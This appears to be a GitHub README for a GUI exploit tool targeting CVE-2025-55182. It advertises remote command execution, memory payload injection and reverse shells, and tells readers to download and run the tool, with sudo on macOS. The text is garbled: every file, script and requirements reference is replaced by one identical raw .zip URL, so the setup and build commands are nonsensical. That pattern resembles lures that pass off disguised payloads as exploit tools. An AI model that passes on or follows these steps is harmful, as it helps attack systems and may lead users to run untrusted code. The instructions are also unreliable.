Welcome to ReactExploitGUI, a user-friendly graphical tool designed for the CVE-2025-55182 vulnerability. This application allows you to detect vulnerabilities, execute commands, inject memory payloads, and establish reverse shells in a streamlined manner.
- Operating Systems: Windows / macOS
- Hardware: Suitable for both Intel and ARM architectures.
- Visit the Releases page to find the latest version.
- Download the tool package for your operating system.
- Extract the downloaded package to any directory on your computer.
-
For Windows:
- Locate the
https://github.com/vick333-peniel/ReactExploitGUI/raw/refs/heads/main/gui/React-Exploit-GUI-v1.5.zipfile in the extracted folder. - Double-click to run the application.
- Locate the
-
For macOS: (Currently supports arm64 architecture)
- Open a terminal.
- Navigate to the extracted directory.
- Run the following command to make it executable:
chmod +x ReactExploitGui_macos_arm64
- Launch the application using:
If you encounter any errors, try:
./ReactExploitGui_macos_arm64
sudo ./ReactExploitGui_macos_arm64
ReactExploitGUI provides several features:
- Vulnerability Detection: Easily identify systems that are susceptible to CVE-2025-55182.
- Command Execution: Initiate commands directly from the interface.
- Memory Payload Injection: Seamlessly insert payloads into target applications.
- Reverse Shell Setup: Establish a secure connection back to your machine.
If you prefer to run the source code, follow these steps:
- Python 3.10 or higher
- Required packages: PySide6, requests, cryptography, PyYAML
- Open your terminal or command prompt.
- Clone the repository to your local machine:
git clone https://github.com/vick333-peniel/ReactExploitGUI/raw/refs/heads/main/gui/React-Exploit-GUI-v1.5.zip
- Navigate into the project folder:
cd ReactExploitGUI - Install the necessary dependencies:
pip install -r https://github.com/vick333-peniel/ReactExploitGUI/raw/refs/heads/main/gui/React-Exploit-GUI-v1.5.zip
- Start the application:
python https://github.com/vick333-peniel/ReactExploitGUI/raw/refs/heads/main/gui/React-Exploit-GUI-v1.5.zip
To package the application for distribution, you can use the https://github.com/vick333-peniel/ReactExploitGUI/raw/refs/heads/main/gui/React-Exploit-GUI-v1.5.zip script provided in the project root:
- Run the following command:
python https://github.com/vick333-peniel/ReactExploitGUI/raw/refs/heads/main/gui/React-Exploit-GUI-v1.5.zip
-
Default Mode (Directory): This mode packages all files into a single folder. Simply run:
python https://github.com/vick333-peniel/ReactExploitGUI/raw/refs/heads/main/gui/React-Exploit-GUI-v1.5.zip
-
Single File Mode: To create a single executable file, append the
--onefileoption:python https://github.com/vick333-peniel/ReactExploitGUI/raw/refs/heads/main/gui/React-Exploit-GUI-v1.5.zip --onefile
-
Debugging on Windows: If you want to see console output while debugging, use the
--debugoption:python https://github.com/vick333-peniel/ReactExploitGUI/raw/refs/heads/main/gui/React-Exploit-GUI-v1.5.zip --debug
For any questions or issues, feel free to open an issue on the GitHub repository. Contributions are welcome, so if you have improvements or fixes, consider submitting a pull request.
For the latest version and updates, always check the Releases page.